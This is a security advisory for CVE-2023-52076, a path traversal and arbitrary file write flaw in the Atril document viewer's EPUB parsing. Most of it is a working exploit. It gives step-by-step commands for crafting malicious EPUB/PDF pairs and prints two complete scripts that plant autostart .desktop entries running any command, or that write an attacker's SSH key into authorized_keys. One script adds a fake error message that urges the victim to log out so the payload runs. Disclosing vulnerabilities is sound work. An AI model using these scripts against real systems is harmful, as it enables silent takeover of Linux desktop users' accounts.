Skip to content

Remote Code Execution Vulnerability in Atril's EPUB ebook parsing

High
lukefromdc published GHSA-6mf6-mxpc-jc37 Jan 25, 2024

Package

Atril

Affected versions

<= latest

Patched versions

None

Description

Description:

A Critical Path traversal and Arbitrary file write vulnerability has been discovered in the default document viewer software of MATE DE affecting popular operating systems such as Kali Linux, Parrot Security OS, Ubuntu-Mate, Xubuntu and all the other Operating Systems that use MATE or Atril as default doc viewer.

Summary:

The vulnerability exists in Atril Document Viewer which is the default document viewer of the MATE environment. Atril is the default document reader for Kali Linux, Ubuntu-Mate, Parrot Security OS, and Xubuntu

This vulnerability is capable of writing arbitrary files anywhere on the filesystem to which the user opening a crafted document has access, the only limitation is that this vulnerability cannot be exploited to overwrite existing files but that doesn't stop an attacker from achieving Remote Command Execution on the target system.

I named this vulnerability "Slippy-Book"

Severity: CRITICAL

Impact: Remote Command Execution, System compromise

This can be used particularly against security researchers that mostly use Kali and Parrot OS.

Remote Command Execution can be achieved in many ways:

  1. The most efficient way to achieve RCE is by placing a malicious .desktop entry under $HOME/.config/autostart/ directory, and the .desktop will execute when the user logs out and logs back in, the autostart/ directory acts as the startup folder in Windows, and it will execute all the .desktop entries that are present inside at startup. We can place an infinite number of .desktop files with random names under autostart/ directory to achieve RCE, no need to overwrite any file.

  2. By writing the authorized_keys file under the .ssh/ directory inside the user's home, in this way, an attacker can immediately achieve Command Execution via SSH if the target system has SSH enabled.

  3. RCE can be achieved in another way just by writing files like .bash_profile, .bash_login, .zshrc, .cshrc, .vimrc, .xsession under the user's home directory. Many of these files might be missing in operating systems, it depends on the OS. In Ubuntu-mate and similar Desktop OS, .bash_profile, and .bash_login files won't be present by default, and placing those files with malicious commands written inside under the user's home directory will result in RCE if the user logs in to the system without GUI mode, like SSH login.

  4. Another way to achieve control over the target system is by writing files in places like ~/.local/bin, ~/.local/lib/python3.9/site-packages/, ~/.local/lib/python3.10/site-packages/, ~/.local/lib/python3.11/site-packages/, ~/.local/share/applications/, /var/www/html/, /var/www/ and so on.

[+] Achieving Remote Command Execution:

This vulnerability can't be exploited to overwrite existing files, it can only create new files under any specified locations, but that doesn't stop us from achieving RCE. I tried out using the vulnerability to write a .desktop entry under $HOME/.config/autostart and then I logged out and logged back in, the malicious .desktop entry got triggered and I got Remote Command Execution. I also tried out placing an authorized_keys file under .ssh/ directory and achieved RCE via SSH.
Note: If a directory is not present it will create the directory automatically.

Who knows about the Ebook format? Hasn't everyone switched to PDF?

The answer is no, EPUB is still a popular and powerful document format, but still many people prefer PDF. Most of them are familiar with PDFs. So, I was trying to maximize this vulnerabilities impact.
Another Interesting thing I noticed was, when renaming the .epub document to something.pdf, the vulnerable Document Viewer (Atril) tries to open the something.pdf file and reads it as an EPUB document because it is responsible for reading both EPUB and PDF, it also supports many other document formats as well. In other words, we can rename our crafted something.epub to something.pdf and then send it to the target to achieve RCE on the target.

So everything is good, we could create an exploit that'll craft an epub/pdf pair to write malicious .desktop entries under /home//.config/autostart/ directory. But there's a small problem, the target user's username is required for successful exploitation of this bug. What if we don't know the username? No Easy RCE? Needs to guess Username? Needs to try random common usernames? Let's see what I got..

Upon further analysis, I found out that we can use the /proc/self/cwd to access the user's home directory if he downloads the crafted document and opens it somewhere inside his home directory such as the ~/Downloads/, ~/Documents/ directory. So we can exploit the path traversal bug to achieve RCE just by using the gadget ../../../../../proc/self/cwd/../.config/autostart/exploit.desktop.

I have created a fully working exploit for this vulnerability (exploit_rce.sh) and also a script to write and include your own custom files for path traversal (exploit_file_write.sh).


[+] Proof Of Concept:

As a Proof Of Concept, create an EPUB/PDF pair that writes a text file "pwnd.txt" on the User's desktop.

  1. Take a sample EPUB file, rename it as POC.epub for the demo

  2. Craft the POC.epub document (In the Attacker machine)

$ echo Desktop > XXYXXYXXYXXYprocYselfYcwdYDesktopYpwnd.txt

$ echo Desktop > XXYXXYXXYXXYprocYselfYcwdYXXYDesktopYpwnd.txt

$ zip -u POC.epub XXYXXYXXYXXYprocYselfYcwdYDesktopYpwnd.txt XXYXXYXXYXXYprocYselfYcwdYXXYDesktopYpwnd.txt

$ sed -i s/"XXYXXYXXYXXYprocYselfYcwdYDesktopYpwnd.txt"/"..\/..\/..\/..\/proc\/self\/cwd\/Desktop\/pwnd.txt"/g POC.epub

$ sed -i s/"XXYXXYXXYXXYprocYselfYcwdYXXYDesktopYpwnd.txt"/"..\/..\/..\/..\/proc\/self\/cwd\/..\/Desktop\/pwnd.txt"/g POC.epub

$ cp POC.epub POC.pdf

$ rm XXYXXYXXYXXY*.txt

(The POC.epub/POC.pdf are present under the POC/ directory)

Or you can use the exploit_file_write.sh script to craft a document that places a POC.txt under /tmp when the target user opens the document.
(An EPUB/PDF pair for the above example is present under POC/ directory)

[*] NOTE: IF YOU ARE TRYING ANY OF MY POC EPUB/PDF Documents, PLEASE EMULATE A NORMAL USER BEHAVIOR AND IDEAL SETUP BY PLACING THOSE DOCS UNDER $HOME/, $HOME/Documents, $HOME/Downloads, or $HOME/Desktop

If we know the User's Username, we can craft a new custom malicious EPUB/PDF pair using exploit_file_write.sh script, it will be more efficient. Knowing the Username in a real attack scenario is no big deal, for example, if the attacker and the victim work in the same organization then the attacker can easily exploit this bug by crafting an EPUB/PDF pair with the exact path of the target's Home.

PoC Exploit Code:

exploit_rce.sh

#!/bin/bash

####################################################################################
#                                                                                                                                                      #
#  This Exploit is still in development stage, it can be modified and tweaked to work more efficient   #
#  and more accurate.                                                                                                                       #
#                                                                                                                                                      #
####################################################################################
printf "
╔═╗┬  ┬┌─┐┌─┐┬ ┬   ╔╗ ┌─┐┌─┐┬┌─
╚═╗│  │├─┘├─┘└┬┘───╠╩╗│ ││ │├┴┐
╚═╝┴─┘┴┴  ┴   ┴    ╚═╝└─┘└─┘┴ ┴
 0-day RCE Exploit for Linux desktop environments (MATE, Cinnamon, UKUI)
                  -by Febin (@febin_nj)

[+] Affected Software components: Atril (default document viewer of MATE DE), Xreader (Default Doc Viewer of Cinnamon DE, Mint OS)

[+] Affected OS: Linux Mint, Kali Linux, Parrot Security OS, Ubuntu-mate, Xubuntu, Ubuntu Kylin(Official chinese variant of Ubuntu ), KylinOS V10 (Chinese OS) and other OS with MATE, Cinnamon DE, Kylin DE or Atril/Xreader as default doc reader.


"
rm -rf ./XXYXXYXXYXXYXXY*

write_ssh(){


ssh-keygen -t rsa -P '' -f ./slippy_rsa


cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdY.ssh2Yauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXY.ssh2Yauthorized_keys

cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.ssh2Yauthorized_keys

cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.ssh2Yauthorized_keys

cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.ssh2Yauthorized_keys


zip -u "$tmpfile" XXYXXYXXYXXYXXYprocYselfYcwdY.sshYauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdY.ssh2Yauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXY.sshYauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXY.ssh2Yauthorized_keys  XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.sshYauthorized_keys  XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.ssh2Yauthorized_keys  XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.sshYauthorized_keys  XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.ssh2Yauthorized_keys  XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.sshYauthorized_keys  >/dev/null

sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/.ssh\/authorized_keys"/g "$tmpfile"

sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/..\/.ssh\/authorized_keys"/g "$tmpfile"

sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/.ssh2\/authorized_keys"/g "$tmpfile"

sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/..\/.ssh2\/authorized_keys"/g "$tmpfile"

epub="${epub%.*}.epub"
mkdir output 2> /dev/null
cp "$tmpfile" output/"$epub"
cp "$tmpfile" output/"${epub%.*}.pdf"
rm -rf "$tmpfile"
echo "

[+] Files $epub and ${epub%.*}.pdf written to output/ directory!
"
}

write_autostart(){

printf "[>] Enter the Payload/Command to execute on the target: "
read CMD
autostart_app="desktop-login${RANDOM}.desktop"
tmp_autostart="XXYXXYXXYXXYXXYprocYselfYcwdY.configYautostartY${autostart_app}"
tmp_autostart2="XXYXXYXXYXXYXXYprocYselfYcwdYXXY.configYautostartY${autostart_app}"
tmp_autostart3="XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.configYautostartY${autostart_app}"
tmp_autostart4="XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.configYautostartY${autostart_app}"

echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart"

echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart2"

echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart3"

echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart4"



chmod 777 $tmp_autostart

zip -u "$tmpfile" $tmp_autostart $tmp_autostart2 $tmp_autostart3 $tmp_autostart4 >/dev/null

sed -i s/"$tmp_autostart"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/.config\/autostart\/$autostart_app"/g "$tmpfile"
sed -i s/"$tmp_autostart2"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/.config\/autostart\/$autostart_app"/g "$tmpfile"
sed -i s/"$tmp_autostart3"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/.config\/autostart\/$autostart_app"/g "$tmpfile"
sed -i s/"$tmp_autostart4"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/.config\/autostart\/$autostart_app"/g "$tmpfile"

epub="${epub%.*}.epub"
mkdir output 2>/dev/null
cp "$tmpfile" output/"$epub"
cp "$tmpfile" output/"${epub%.*}.pdf"
rm -rf "$tmpfile"
echo "

[+] Files $epub and ${epub%.*}.pdf written to output/ directory!
"
}

mainprogram(){
file $epub_path | grep "EPUB document" >/dev/null
  
if [ "$?" -eq "0" ]
then
     epub=$(basename $epub_path)
     rand=$RANDOM
     tmpfile="$rand"_"$epub"
     cp "$epub_path" ./"$tmpfile"
     
     fake_error="XXYXXYXXYXXYXXYtmpYerror-${RANDOM}.log"
     
     echo "Error opening the document! 
Logging off and logging back in might fix the issue" > $fake_error
     zip -u "$tmpfile" "$fake_error" >/dev/null
     sed -i s/"XXYXXYXXYXXYXXYtmpY"/"..\/..\/..\/..\/..\/tmp\/"/g "$tmpfile"
     rm -f "$fake_error"
     
     echo " [1] Write an autostart app in the victim machine(Efficient, Payload will be triggered when user logs out and logs back in) [Default]"
     echo " [2] Write authorized_keys file on the target machine. (Needs SSH enabled on the target)"
     printf "\n    [>] Enter your choice [Default: 1]: "
     
     read choice
     if [ "$choice" == "1" ]
     then
     write_autostart
     elif [ "$choice" == "2" ]
     then
     write_ssh
     else
     echo "[-] Inavlid Choice! Going with the default option [1] "
     write_autostart
     fi

else
     echo "[-] Error: Specified File is not an EPUB document."
     exit
fi

rm -rf $tmpfile 
}

printf "[>] Epub document location [Default: sample1.epub]: "
read epub_path
epub_path=${epub_path:-./sample1.epub}
if [ -e $epub_path ]
then
  mainprogram
  rm -rf ./XXYXXYXXYXXYXXY*
else
 echo "[-] Error: Specified File does not exists."
 exit
fi
rm -rf ./XXYXXYXXYXXYXXY*

exploit_file_write.sh

#!/bin/bash


printf "
╔═╗┬  ┬┌─┐┌─┐┬ ┬   ╔╗ ┌─┐┌─┐┬┌─
╚═╗│  │├─┘├─┘└┬┘───╠╩╗│ ││ │├┴┐
╚═╝┴─┘┴┴  ┴   ┴    ╚═╝└─┘└─┘┴ ┴
 EPUB Path traversal Arbitrary File Write for Linux desktop environments (MATE)
                  -by Febin

[+] Affected Software components: Atril (default document viewer of MATE DE), Xreader (Default Doc Viewer of Mint OS)

[+] Affected OS: Kali Linux, Parrot Security OS, Ubuntu-mate, Linux Mint OS, Xubuntu and other OS with MATE or Atril/Xreader as default doc reader.

Note: This script will overwrite the specified EPUB document and also creates a .pdf file with the same name

"
epub=$1
content=$2
write_path=$3



write_epub(){




file "$epub" | grep "EPUB document" 2>/dev/null 1>/dev/null

if [[  ("$?" == "0") && (-w $content ) ]]
then

tmp_path="XXYXXYXXYXXYXXY"$(echo $write_path|tr "/" "Y")


cp "$content" "./$tmp_path"

trav_tmp_path=$(echo "$write_path"|tr "/" "Y"| awk '{gsub("Y", "\\/")};1')

#echo $trav_tmp_path

zip -u "$epub" "$tmp_path" >/dev/null

sed -i s/"${tmp_path}"/"..\/..\/..\/..\/..\/${trav_tmp_path}"/g "$epub"


cp "$epub" "${epub%.*}.pdf"

rm -f "$tmp_path" 

echo "[+] Files $epub ${epub%.*}.pdf written successfully"
else
echo "[-] Error! Specified file not found or the EPUB file specified is not an EPUB document"
exit

fi


}

usage(){

echo "
  .$0 <EPUB document> <File to write on target> <Full path to write on target>
  
  Example:
  
  $0 sample2.epub POC.txt /tmp/POC.txt
  
  $0 ~/Documents/ebook.epub \$HOME/file.txt /poc/self/cwd/Desktop/pwned.txt
  
  $0 ~/Documents/ebook.epub \$HOME/.ssh/id_rsa.pub /poc/self/cwd/.ssh/authorized_keys

"
}


if [[ (-z $epub) || (-z $content) || (-z $write_path) ]]
then
echo "[-] Arguments Required."
usage
else
write_epub
fi

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

CVE ID

CVE-2023-52076

Credits